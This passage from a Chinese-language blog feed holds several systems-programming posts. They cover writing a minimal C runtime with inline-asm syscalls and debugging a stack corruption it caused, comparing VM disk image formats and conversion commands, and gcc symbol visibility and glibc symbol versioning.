    long fd;
    asm(&amp;quot;movq $2, %%rax \n\t&amp;quot;
        &amp;quot;movq %1, %%rdi \n\t&amp;quot;
        &amp;quot;movq %2, %%rsi \n\t&amp;quot;
        &amp;quot;movq %3, %%rdx \n\t&amp;quot;
        &amp;quot;syscall \n\t&amp;quot;
        &amp;quot;movq %%rax, %0 \n\t&amp;quot;
        :&amp;quot;=m&amp;quot;(fd)
        :&amp;quot;m&amp;quot;(pathname),&amp;quot;m&amp;quot;(flags),&amp;quot;m&amp;quot;(mode)
        :&amp;quot;rax&amp;quot;, &amp;quot;rdi&amp;quot;, &amp;quot;rsi&amp;quot;, &amp;quot;rdx&amp;quot;);
    return fd;
}

int close(int fd)
{
    long ret;
    asm(&amp;quot;movq $3, %%rax \n\t&amp;quot;
        &amp;quot;movq %1, %%rdi \n\t&amp;quot;
        &amp;quot;syscall \n\t&amp;quot;
        &amp;quot;movq %%rax, %0 \n\t&amp;quot;
        :&amp;quot;=m&amp;quot;(ret)
        :&amp;quot;m&amp;quot;(fd)
        :&amp;quot;rax&amp;quot;, &amp;quot;rdi&amp;quot;);
    return ret;
}

void exit(int status)
{
    asm(&amp;quot;movq $60, %%rax \n\t&amp;quot;
        &amp;quot;movq %0, %%rdi \n\t&amp;quot;
        &amp;quot;syscall \n\t&amp;quot;
        :
        :&amp;quot;m&amp;quot;(status));
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;util.h代码如下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;#define O_RDONLY 00
#define O_WRONLY 01
#define O_RDWR 02

long read(int fd, void *buf, long count);
long write(int fd, const void *buf, long count);
int open(const char *pathname, int flags, int mode);
int close(int fd);
void exit(int status);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;到这里一个简单的crt就完成了, 将代码编译成静态库&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ gcc -c -fno-builtin -nostdlib entry.c util.c
$ ar -rs minicrt.a util.o entry.o
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译选项&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;-fno-builtin参数关闭gcc的内置函数功能, 默认情况下gcc会把strlen, strcmp, exit等常用函数展开它内部的实现&lt;&#x2F;li&gt;
&lt;li&gt;-nostdlib表示不使用来自glibc, gcc的库文件和启动文件&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;接下来编写测试程序去使用这个库而不是默认的glibc, 该程序从命令行参数读取文件名, 然后根据文件名读取1KB内容输出到标准输出(文件描述符0)&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;#include &amp;quot;util.h&amp;quot;

int main(int argc, char **argv)
{
    int fd;
    long count = 0;
    char buf[1024] = {0};
    if (argc == 2) {
        fd = open(argv[1], O_RDONLY, 0);
        count = read(fd, buf, 1024);
        write(1, buf, count);
        close(fd);
    }
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译, 链接, 运行如下&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ gcc -c -fno-builtin -nostdlib test.c
$ ld -static -e mini_crt_entry test.o minicrt.a -o test
$ .&amp;#x2F;test test.c
#include &amp;quot;util.h&amp;quot;

int main(int argc, char **argv)
{
    int fd;
    long count = 0;
    char buf[1024] = {0};
    if (argc == 2) {
        fd = open(argv[1], O_RDONLY, 0);
        count = read(fd, buf, 1024);
        write(1, buf, count);
        close(fd);
    }
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中链接选项&lt;code&gt;-e mini_crt_entry&lt;&#x2F;code&gt;指定程序入口为mini_crt_entry函数&lt;&#x2F;p&gt;
&lt;p&gt;至此, 一个简单的C语言运行时库就完成了, 下面讲解编写该crt所遇到的坑&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;函数read, write的中的变量ret类型不能为int&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;比如我在read函数中将变量ret定义为int, 会导致错误&lt;code&gt;Segmentation fault (core dumped)&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;使用&lt;code&gt;objdump&lt;&#x2F;code&gt;反编译查看汇编代码，比较ret为long和int情况有什么不同&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;  # 这是ret为long的汇编代码
  0000000000400159 &amp;lt;read&amp;gt;:
  400159:	55                   	push   %rbp
  40015a:	48 89 e5             	mov    %rsp,%rbp
  40015d:	89 7d ec             	mov    %edi,-0x14(%rbp)
  400160:	48 89 75 e0          	mov    %rsi,-0x20(%rbp)
  400164:	48 89 55 d8          	mov    %rdx,-0x28(%rbp)
  400168:	48 c7 c0 00 00 00 00 	mov    $0x0,%rax
  40016f:	48 8b 7d ec          	mov    -0x14(%rbp),%rdi
  400173:	48 8b 75 e0          	mov    -0x20(%rbp),%rsi
  400177:	48 8b 55 d8          	mov    -0x28(%rbp),%rdx
  40017b:	0f 05                	syscall
  40017d:	48 89 45 f8          	mov    %rax,-0x8(%rbp)
  400181:	48 8b 45 f8          	mov    -0x8(%rbp),%rax
  400185:	5d                   	pop    %rbp
  400186:	c3                   	retq

  # 这是ret为int的汇编代码
  0000000000400159 &amp;lt;read&amp;gt;:
  400159:	55                   	push   %rbp
  40015a:	48 89 e5             	mov    %rsp,%rbp
  40015d:	89 7d ec             	mov    %edi,-0x14(%rbp)
  400160:	48 89 75 e0          	mov    %rsi,-0x20(%rbp)
  400164:	48 89 55 d8          	mov    %rdx,-0x28(%rbp)
  400168:	48 c7 c0 00 00 00 00 	mov    $0x0,%rax
  40016f:	48 8b 7d ec          	mov    -0x14(%rbp),%rdi
  400173:	48 8b 75 e0          	mov    -0x20(%rbp),%rsi
  400177:	48 8b 55 d8          	mov    -0x28(%rbp),%rdx
  40017b:	0f 05                	syscall
  40017d:	48 89 45 fc          	mov    %rax,-0x4(%rbp)
  400181:	8b 45 fc             	mov    -0x4(%rbp),%eax
  400184:	48 98                	cltq
  400186:	5d                   	pop    %rbp
  400187:	c3                   	retq

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;区别在于40017d处的指令，&lt;code&gt;mov %rax,-0x8(%rbp)&lt;&#x2F;code&gt;和&lt;code&gt;mov %rax,-0x4(%rbp)&lt;&#x2F;code&gt;，为什么右边这条指令会导致崩溃，原因在于该指令使用的偏移量有问题，导致指令&lt;code&gt;push %rbp&lt;&#x2F;code&gt;在栈中保存的值(main函数的堆栈基地址)被覆盖。下面我使用编译选项-g，然后用gdb调试证明堆栈确实被破坏了&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) disas
Dump of assembler code for function read:
=&amp;gt; 0x0000000000400159 &amp;lt;+0&amp;gt;:	push   %rbp
   0x000000000040015a &amp;lt;+1&amp;gt;:	mov    %rsp,%rbp
   0x000000000040015d &amp;lt;+4&amp;gt;:	mov    %edi,-0x14(%rbp)
   0x0000000000400160 &amp;lt;+7&amp;gt;:	mov    %rsi,-0x20(%rbp)
   0x0000000000400164 &amp;lt;+11&amp;gt;:	mov    %rdx,-0x28(%rbp)
   0x0000000000400168 &amp;lt;+15&amp;gt;:	mov    $0x0,%rax
   0x000000000040016f &amp;lt;+22&amp;gt;:	mov    -0x14(%rbp),%rdi
   0x0000000000400173 &amp;lt;+26&amp;gt;:	mov    -0x20(%rbp),%rsi
   0x0000000000400177 &amp;lt;+30&amp;gt;:	mov    -0x28(%rbp),%rdx
   0x000000000040017b &amp;lt;+34&amp;gt;:	syscall
   0x000000000040017d &amp;lt;+36&amp;gt;:	mov    %rax,-0x4(%rbp)
   0x0000000000400181 &amp;lt;+40&amp;gt;:	mov    -0x4(%rbp),%eax
   0x0000000000400184 &amp;lt;+43&amp;gt;:	cltq
   0x0000000000400186 &amp;lt;+45&amp;gt;:	pop    %rbp
   0x0000000000400187 &amp;lt;+46&amp;gt;:	retq
End of assembler dump.
(gdb) p $rbp
$1 = (void *) 0x7fffffffe418
(gdb) b *read+46
Breakpoint 3 at 0x400187: file util.c, line 15.
(gdb) c
Continuing.

Breakpoint 3, 0x0000000000400187 in read (fd=3, buf=0x7fffffffe008, count=1024) at util.c:15
15	}
(gdb) p $rbp
$2 = (void *) 0x7fff00000000
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到read函数一开始保存的rbp寄存器的值为0x7fffffffe418，当函数准备返回时，rbp寄存器的值却变成了0x7fff00000000，下面图示有助于理解是怎么被覆盖的&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crt-issue24&#x2F;crt-rbp-overwrite-stack.png&quot; alt=&quot;crt01&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;最后返回到main函数后堆栈基地址是错误的，那么使用该错误地址+偏移量去访问结果是未定义的&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;References&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;《程序员自我修养》Chapter13&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;chenpengcong&#x2F;blog&#x2F;issues&#x2F;19&quot;&gt;glibc的构造函数和析构函数&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;chenpengcong&#x2F;blog&#x2F;issues&#x2F;18&quot;&gt;进程堆栈初始化&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>qcow2、raw、vmdk等镜像格式</title>
        <published>2024-04-20T00:00:00+00:00</published>
        <updated>2024-04-20T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/qcow2、raw、vmdk等镜像格式/"/>
        <id>https://vercel.juzhong.asia/obsidian/qcow2、raw、vmdk等镜像格式/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/qcow2、raw、vmdk等镜像格式/">&lt;h1 id=&quot;qcow2-raw-vmdkdeng-jing-xiang-ge-shi&quot;&gt;qcow2、raw、vmdk等镜像格式&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;raw&lt;&#x2F;strong&gt;
(default) the raw format is a plain binary image of the disc image, and is very portable. On filesystems that support sparse files, images in this format only use the space actually used by the data recorded in them.
老牌的格式了，用一个字来说就是裸，也就是赤裸裸，你随便dd一个file就模拟了一个raw格式的镜像。由于裸的彻底，性能上来说的话还是不错的。目前来看，KVM和XEN默认的格式好像还是这个格式。因为其原始，有很多原生的特性，例如直接挂载也是一件简单的事情。
裸的好处还有就是简单，支持转换成其它格式的虚拟机镜像对裸露的它来说还是很简单的（如果其它格式需要转换，有时候还是需要它做为中间格式），空间使用来看，这个很像磁盘，使用多少就是多少（du -h看到的大小就是使用大小），但如果你要把整块磁盘都拿走的话得全盘拿了（copy镜像的时候），会比较消耗网络带宽和I&#x2F;O。接下来还有个有趣的问题，如果那天你的硬盘用着用着不够用了，你咋办，在买一块盘。但raw格式的就比较犀利了，可以在原来的盘上追加空间：
dd if=&#x2F;dev&#x2F;zero of=zeros.raw bs=1024k count=4096（先创建4G的空间）
cat foresight.img zeros.raw &amp;gt; new-foresight.img（追加到原有的镜像之后）
当然，好东西是吹出来的，谁用谁知道，还是有挺多问题的。由于原生的裸格式，不支持snapshot也是很正常的。传说有朋友用版本管理软件对raw格式的文件做版本管理从而达到snapshot的能力，估计可行，但没试过，这里也不妄加评论。但如果你使用LVM的裸设备，那就另当别论。说到LVM还是十分的犀利的，当年用LVM做虚拟机的镜像，那性能杠杠的。而且现在好多兄弟用虚拟化都采用LVM来做的。在LVM上做了很多的优化，国外听说也有朋友在LVM增量备份方面做了很多的工作。目前来LVM的snapshot、性能、可扩展性方面都还是有相当的效果的。目前来看的话，备份的话也问题不大。就是在虚拟机迁移方面还是有很大的限制。但目前虚拟化的现状来看，真正需要热迁移的情况目前需求还不是是否的强烈。虽然使用LVM做虚拟机镜像的相关公开资料比较少，但目前来看牺牲一点灵活性，换取性能和便于管理还是不错的选择。&lt;&#x2F;p&gt;
&lt;p&gt;对于LVM相关的特性及使用可以参考如下链接：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.ibm.com&#x2F;developerworks&#x2F;linux&#x2F;library&#x2F;l-lvm2&#x2F;index.html&quot;&gt;http:&#x2F;&#x2F;www.ibm.com&#x2F;developerworks&#x2F;linux&#x2F;library&#x2F;l-lvm2&#x2F;index.html&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;cow&lt;&#x2F;strong&gt;
copy-on-write format, supported for historical reasons only and not available to QEMU on Windows
曾经qemu的写时拷贝的镜像格式，目前由于历史遗留原因不支持窗口模式。从某种意义上来说是个弃婴，还没得它成熟就死在腹中，后来被qcow格式所取代。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;qcow&lt;&#x2F;strong&gt;
the old QEMU copy-on-write format, supported for historical reasons and superseded by qcow2&lt;&#x2F;p&gt;
&lt;p&gt;一代的qemu的cow格式，刚刚出现的时候有比较好的特性，但其性能和raw格式对比还是有很大的差距，目前已经被新版本的qcow2取代。其性能可以查看如下链接：
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.linux-kvm.org&#x2F;page&#x2F;Qcow2&quot;&gt;http:&#x2F;&#x2F;www.linux-kvm.org&#x2F;page&#x2F;Qcow2&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;qcow2&lt;&#x2F;strong&gt;
QEMU copy-on-write format with a range of special features, including the ability to take multiple snapshots, smaller images on filesystems that don’t support sparse files, optional AES encryption, and optional zlib compression
现在比较主流的一种虚拟化镜像格式，经过一代的优化，目前qcow2的性能上接近raw裸格式的性能，这个也算是redhat的官方渠道了，哈哈，希望有朋友能拍他们砖：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;fedoraproject.org&#x2F;wiki&#x2F;Features&#x2F;KVM&quot;&gt;https:&#x2F;&#x2F;fedoraproject.org&#x2F;wiki&#x2F;Features&#x2F;KVM&lt;&#x2F;a&gt;_qcow2_Performance&lt;&#x2F;p&gt;
&lt;p&gt;对于qcow2的格式，几点还是比较突出的，qcow2的snapshot，可以在镜像上做N多个快照：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;更小的存储空间，即使是不支持&lt;em&gt;holes&lt;&#x2F;em&gt;的文件系统也可以（这下du -h和ls -lh看到的就一样了）&lt;&#x2F;li&gt;
&lt;li&gt;Copy-on-write support, where the image only represents changes made to an underlying disk image（这个特性SUN ZFS表现的淋漓尽致）&lt;&#x2F;li&gt;
&lt;li&gt;支持多个snapshot，对历史snapshot进行管理&lt;&#x2F;li&gt;
&lt;li&gt;支持zlib的磁盘压缩&lt;&#x2F;li&gt;
&lt;li&gt;支持AES的加密&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;vmdk&lt;&#x2F;strong&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;VMware&quot;&gt;VMware&lt;&#x2F;a&gt; 3 &amp;amp; 4, or 6 image format, for exchanging images with that product
VMware的格式，这个格式说的蛋疼一点就有点牛X，原本VMware就是做虚拟化起家，自己做了一个集群的VMDK的pool，做了自己的虚拟机镜像格式。又拉着一些公司搞了一个OVF的统一封包。从性能和功能上来说，vmdk应该算最出色的，由于vmdk结合了VMware的很多能力，目前来看，KVM和XEN使用这种格式的情况不是太多。但就VMware的Esxi来看，它的稳定性和各方面的能力还是可圈可点。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;vdi&lt;&#x2F;strong&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;VirtualBox&quot;&gt;VirtualBox&lt;&#x2F;a&gt; 1.1 compatible image format, for exchanging images with VirtualBox.
SUN收购了VirtualBox，Oracle又收购了SUN，这么说呢，vdi也算虚拟化这方面的一朵奇葩，可惜的是入主的两家公司。SUN太专注于技术（可以说是IT技术最前端也不为过），Oracle又是开源杀手（&lt;strong&gt;mysql的没落&lt;&#x2F;strong&gt;）。单纯从能力上来说vdi在VirtualBox上的表现还是不错的。也是不错的workstation级别的产品。&lt;&#x2F;p&gt;
&lt;p&gt;说了这么多虚拟机镜像格式，这么多虚拟化，做云计算的伤不起呀，得为长期发展考虑，也有朋友对镜像的转换做了很多事情，简单看看几种镜像的转化：&lt;&#x2F;p&gt;
&lt;p&gt;VMDK–&amp;gt;qcow2:&lt;&#x2F;p&gt;
&lt;p&gt;kevin@kevin:~# qemu-img convert -f vmdk -O qcow2 SLES11SP1-single.vmdk SLES11SP1-single.img&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.ibm.com&#x2F;developerworks&#x2F;cn&#x2F;linux&#x2F;l-cn-mgrtvm3&#x2F;index.html&quot;&gt;http:&#x2F;&#x2F;www.ibm.com&#x2F;developerworks&#x2F;cn&#x2F;linux&#x2F;l-cn-mgrtvm3&#x2F;index.html&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;qcow2–&amp;gt;raw:&lt;&#x2F;p&gt;
&lt;p&gt;kevin@kevin:~$ qemu-img convert -O qcow2 image-raw.raw image-raw-converted.qcow&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;ova转ovf&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;ovftool --lax Centos6.6-lamp.ova Centos6.6-lamp.ovf
ovftool --overwrite --shaAlgorithm=sha1 --lax Centos6.6-lamp.ova Centos6.6-lamp.ovf&lt;&#x2F;p&gt;
&lt;p&gt;修改.ovf文件，将
&lt;a href=&quot;vssd:VirtualSystemType&quot;&gt;vssd:VirtualSystemType&lt;&#x2F;a&gt;virtualbox-2.2&lt;a href=&quot;&#x2F;vssd:VirtualSystemType&quot;&gt;&#x2F;vssd:VirtualSystemType&lt;&#x2F;a&gt;
修改为
&lt;a href=&quot;vssd:VirtualSystemType&quot;&gt;vssd:VirtualSystemType&lt;&#x2F;a&gt;vmx-07&lt;a href=&quot;&#x2F;vssd:VirtualSystemType&quot;&gt;&#x2F;vssd:VirtualSystemType&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;修改mf文件的sha1
echo sha1(file_get_contents(&#x27;xxx.mf&#x27;))&lt;&#x2F;p&gt;
&lt;p&gt;tar -xvf CentOS-7.ova -C &#x2F;tmp&#x2F;CentOS-7&#x2F;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>实现一个简单的 CRT（issue24 系列合集）</title>
        <published>2024-04-20T00:00:00+00:00</published>
        <updated>2024-05-23T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/实现一个简单的-crt-issue24-系列合集/"/>
        <id>https://vercel.juzhong.asia/obsidian/实现一个简单的-crt-issue24-系列合集/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/实现一个简单的-crt-issue24-系列合集/">&lt;h2 id=&quot;issue-2-gccde-fvisibilityxuan-xiang&quot;&gt;Issue 2 gcc的fvisibility选项&lt;&#x2F;h2&gt;
&lt;p&gt;fvisibility选项决定共享库中的符号是否是可见的。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;-fvisibility=[default|internal|hidden|protected]&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;default意味着符号可见，hidden意味者不可见，internal和protected一般很少用&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;$ gcc -fPIC -shared foo.c -o libfoo.so&lt;&#x2F;code&gt;
&lt;code&gt;$ objdump -T libfoo.so&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可以看到符号表中存在foo和global_var&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;%E5%AE%9E%E7%8E%B0%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84-crt-issue24-%E7%B3%BB%E5%88%97%E5%90%88%E9%9B%86&#x2F;assets&#x2F;net-img-31979387-156d14c0-b979-11e7-9de8-938c0221a5dd-20240423112354-omg0sck-fb2d0a.png&quot; alt=&quot;420892d2-c7b8-400d-8ee7-be509f51d279&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;加上编译选项&lt;code&gt;-fvisibility=hidden&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;$ gcc -fPIC -shared -fvisibility=hidden foo.c -o libfoo.so&lt;&#x2F;code&gt;
&lt;code&gt;$ objdump -T libfoo.so&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;%E5%AE%9E%E7%8E%B0%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84-crt-issue24-%E7%B3%BB%E5%88%97%E5%90%88%E9%9B%86&#x2F;assets&#x2F;net-img-31979398-1fdef02c-b979-11e7-9366-27a821da7f44-20240423112355-k3a926t-4788a5.png&quot; alt=&quot;e11aaf83-b205-4931-879d-9fa8081ac86b&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可以看到符号表中不再存在foo和global_var，因此外部也就无法调用foo函数和使用全局变量global_var&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;PS&lt;&#x2F;strong&gt;：可以使用&lt;code&gt;__attribute__ ((visibility(&quot;default&quot;))) &lt;&#x2F;code&gt;指定符号可见性&lt;&#x2F;p&gt;
&lt;h2 id=&quot;she-zhi-bu-ke-jian-you-shen-me-hao-chu&quot;&gt;设置不可见有什么好处&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;提升动态共享对象(DSO(Dynamic Shared Object))的加载效率&lt;&#x2F;li&gt;
&lt;li&gt;使得优化器生成更好的代码 &lt;strong&gt;(具体原理待研究)&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;减少DSO的大小&lt;&#x2F;li&gt;
&lt;li&gt;避免符号冲突&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;fvisibility-hiddenhe-staticyou-shen-me-qu-bie&quot;&gt;fvisibility=hidden和static有什么区别&lt;&#x2F;h2&gt;
&lt;p&gt;static修饰的符号在符号表中也是不可见的，那么和fvisibility=hidden有什么区别呢&lt;&#x2F;p&gt;
&lt;p&gt;假如有一个函数用&lt;code&gt;__attribute__((visibility(&quot;hidden&quot;)))&lt;&#x2F;code&gt;修饰，那么在编译成动态共享库之后该函数是不可见的，但是如果该库由foo.o和bar.o链接而成的，那么该函数可以定义在foo.c，在bar.c中被调用，即隐藏的可见度适用于整个共享库，而不适用于组成它的单个编译单元。&lt;&#x2F;p&gt;
&lt;p&gt;而static修饰的函数只能在当前文件内被调用&lt;&#x2F;p&gt;
&lt;h2 id=&quot;issue-4-libcku-de-ban-ben-jian-rong-wen-ti&quot;&gt;Issue 4 libc库的版本兼容问题&lt;&#x2F;h2&gt;
&lt;p&gt;记一次解决glibc库版本兼容问题&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;问题背景：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;本地编译的动态共享库(.so)在另外一台服务器上编译链接报错&lt;&#x2F;p&gt;
&lt;p&gt;报错信息如下：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;lib64&amp;#x2F;libc.so.6: version &amp;#x27;GLIBC_2.14&amp;#x27; not found(require .&amp;#x2F;libsmscrypt.so)
symbol memcpy, version GLIBC_2.14 not defined in file libc.so.6 with link time reference
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;原因分析：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;根据报错信息可以看出so库中memcpy函数使用了高版本的实现，而运行机器上的glibc库中没有相应版本实现，因此需要提供链接低版本glibc库的so库。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;分析及解决：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;从报错信息可以看出找不到GLIBC_2.14版本的memcpy函数&lt;&#x2F;p&gt;
&lt;p&gt;1、查看libsmscrypt.so中memcpy用的是哪个版本实现
&lt;code&gt;$ objdump -T libsmscrypt.so | grep memcpy&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;%E5%AE%9E%E7%8E%B0%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84-crt-issue24-%E7%B3%BB%E5%88%97%E5%90%88%E9%9B%86&#x2F;assets&#x2F;net-img-31981386-82a11d32-b985-11e7-8c78-569f178a9d22-20240423235840-9i2jvge-c92c70.png&quot; alt=&quot;qq 20171025130125&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可以看出libsmscrypt.so中调用了GLIBC_2.14中的memcpy实现&lt;&#x2F;p&gt;
&lt;p&gt;2、查看系统glibc支持的版本
&lt;code&gt;$ strings libc.so.6 | grep GLIBC&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;%E5%AE%9E%E7%8E%B0%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84-crt-issue24-%E7%B3%BB%E5%88%97%E5%90%88%E9%9B%86&#x2F;assets&#x2F;net-img-31981393-93a8c1d4-b985-11e7-955f-9453561ed8fb-20240423235841-3eev9ti-3add8d.png&quot; alt=&quot;0df26615-8ca4-4437-9fde-c1c63a9b8040&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;3、查看glibc库包含了memcpy的哪些版本&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;$ objdump -T libc.so.6 | grep memcpy&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;%E5%AE%9E%E7%8E%B0%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84-crt-issue24-%E7%B3%BB%E5%88%97%E5%90%88%E9%9B%86&#x2F;assets&#x2F;net-img-31981358-5320721a-b985-11e7-9939-863b25406e30-20240423235842-6w3um1e-bdcb47.png&quot; alt=&quot;a9d9579c-4e6a-4683-8308-550c6da7bcd2&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可以看到本机glibc库提供了2.2.5和2.14版本的memcpy&lt;&#x2F;p&gt;
&lt;p&gt;4、指定libsmscrypt.so中memcpy函数使用2.2.5版本实现&lt;&#x2F;p&gt;
&lt;p&gt;在使用了memcpy的源文件中添加&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;__asm__(&amp;quot;.symver memcpy, memcpy@GLIBC_2.2.5&amp;quot;);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;5、重新编译生成libsmscrypt.so，查看memcpy使用的版本是否改变&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;$ objdump -T libsmscrypt.so | grep memcpy&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;%E5%AE%9E%E7%8E%B0%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84-crt-issue24-%E7%B3%BB%E5%88%97%E5%90%88%E9%9B%86&#x2F;assets&#x2F;net-img-31981415-b87f48c0-b985-11e7-9511-d87d81565957-20240423235843-xxp5v93-dc8054.png&quot; alt=&quot;qq 20171025130908&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可以看到，memcpy函数使用了2.2.5版本的实现。&lt;&#x2F;p&gt;
&lt;p&gt;完成。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;局限性&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;__asm__(&quot;.symver memcpy, memcpy@GLIBC_2.2.5&quot;);&lt;&#x2F;code&gt;只对一个源文件有效，当多个源文件使用了memcpy，需要在每个文件添加。&lt;&#x2F;p&gt;
&lt;p&gt;示例代码：&lt;&#x2F;p&gt;
